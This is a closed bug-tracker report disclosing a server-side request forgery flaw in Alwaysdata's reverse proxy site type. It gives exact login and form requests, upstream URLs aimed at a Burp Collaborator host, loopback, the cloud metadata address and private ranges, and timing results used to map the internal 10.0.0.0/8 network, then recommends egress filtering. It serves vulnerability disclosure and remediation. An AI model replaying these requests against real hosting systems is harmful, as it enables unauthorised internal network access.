All Projects

ID Status Summary Opened by
 470 Closed SSRF — reverse_proxy upstream (`url` / script_upstream_ ...MarkCotton Task Description

Summary
The Reverse proxy site type exposes a server-side URL field (url), which corresponds to the field referred to as script_upstream_uri in the disclosed tracker bugs.

An authenticated customer (Free plan) can set this upstream URL to an arbitrary destination. Alwaysdata's shared proxy/backend infrastructure (alproxy) then fetches the configured URL on every request to the site and returns the full upstream response body to the requester (reflected, not blind).

Live testing shows:
There is no save-time guard. Plain internal targets such as http://127.0.0.1:80/ and http://169.254.169.254/ are accepted with no validation error and are actually attempted by the infrastructure.
The upstream response is fully reflected to the requester.
The fetch node routes into the 10.0.0.0/8 internal datacenter network, demonstrated by a fast RST to 10.0.0.1 versus ~20 second timeouts to 192.168.0.0/16 and 172.16.0.0/12.

Affected Component
Endpoint:
https://admin.alwaysdata.com/site/<id>/

Site type: reverse_proxy

Field: url ("Remote URL")

The endpoint is reachable with the ordinary web session cookie; no API token or 2FA is required.

The fetch is executed by Alwaysdata infrastructure. Responses carry:

via: 1.1 alproxy

For external upstreams, a second hop was also observed:

mchunt.alwaysdata.net

Egress infrastructure IPs observed at Collaborator:

185.31.40.97 — DNS 185.31.41.11 — HTTP Steps to Reproduce

Preconditions:
Web session for account A and a Burp Collaborator host $C.

1. Log in

GET /login/

Grab the CSRF token and then:

POST /login/

with:

csrfmiddlewaretoken
login
password

The response sets the sessionid cookie.

2. Render the reverse_proxy subform

GET /site/1072866/?_field_type=reverse_proxy

This reveals the field:

url

labelled "Remote URL".

3. Save the site as a reverse proxy pointing at the attacker

Re-serialize the form and submit:

POST /site/1072866/

with:

type=reverse_proxy&url=http://poc.$C/upstream

plus the addresses formset.

Response:

302 → /site/

The configuration is accepted with no validation error.

Wait approximately 20 seconds for the install task.

4. Trigger the fetch

GET http://mchunt.alwaysdata.net/reqpath

The response body is the Collaborator's response.

Response headers show:

server: Burp Collaborator
via: 1.1 alproxy

Collaborator logs a DNS + HTTP interaction originating from Alwaysdata infrastructure.

5. Internal differential

Repeat step 3 with the following upstream URLs and re-request the site:

http://127.0.0.1:80/

HTTP 404 "Site not found", via: 1.1 alproxy, 1.1 alproxy, <1 second.

http://127.0.0.1:6379/

→ 503 in ~0.6 seconds (connection refused).

http://169.254.169.254/

→ 503 after ~20 seconds (link-local not routable; no AWS/OpenStack IMDS).

http://10.0.0.1/

→ 503 in ~1.5 seconds (fast RST → host on the internal segment).

http://192.168.0.1/ http://172.16.0.1/

→ 503 after ~20 seconds (filtered / no route).

In every case, the save succeeds with no guard error and the reachable body is reflected back.

6. Redirect behavior

Using:

url=http://google.com/

returns the raw:

301 Moved

upstream response.

The proxy does not follow redirects, so the  FS#460  redirect-follow variant does not apply here.

PoC
poc/ssrf_reverse_proxy_reflected.sh
Helpers:

rp_edit.py
form_submit.py
Evidence

External reflected read (request-time):
Collaborator HTTP log:

GET /upstream/reqtime HTTP/1.1
Host: rpsave.<collab>
via: 1.1 alproxy, 1.1 mchunt.alwaysdata.net
X-Forwarded-For: <my-ip>
X-Forwarded-Host: mchunt.alwaysdata.net

HTTP 200, with the upstream body reflected to me.

No-guard save:

POST /site/1072866/

with:

url=http://169.254.169.254/latest/meta-data/

Response:

302 → /site/

The save succeeds.

Re-reading the edit form shows:

name="url" value="http://169.254.169.254/latest/meta-data/"

The internal reachability differential described above demonstrates that the fetch node is on / routes to the 10.0.0.0/8 network.

Impact

This provides authenticated SSRF from Alwaysdata's shared proxy/backend infrastructure with full response reflection.

The fetch node routes into the internal 10.0.0.0/8 datacenter network.

Demonstrated impact:

Reflected full-read SSRF
Internal network reachability

Remediation
Apply an egress allow/deny policy on the reverse_proxy upstream fetch.

Specifically:

Reject upstreams that resolve to loopback, link-local, RFC1918 and Alwaysdata's own infrastructure ranges at save time.
Re-validate the destination after every DNS resolution and redirect.
Firewall the proxy/backend fetchers off the internal 10.0.0.0/8 control network to prevent internal network reachability.
Confirm that the  FS#460 /461/462 guard is actually wired into the live reverse_proxy fetch path.

Showing tasks 1 - 1 of 1 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing